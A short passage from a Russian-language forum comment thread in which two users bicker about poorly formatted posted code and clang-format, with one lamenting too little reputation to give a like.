      H1M88D4S, ну табуляция в хедере спокойно clang-format'ом фиксится, по остальному спорить не буду
    2. H1M88D4S
      ldapADFS, просто нах выкладывать если те даже отформатировать лень...
  6. ldapADFS
    ldapADFS 4 май 2025 2 1 июн 2017
    въебал бы лайкос, но, к сожалению, за 8 лет не набил себе репы достаточно :c
     
Top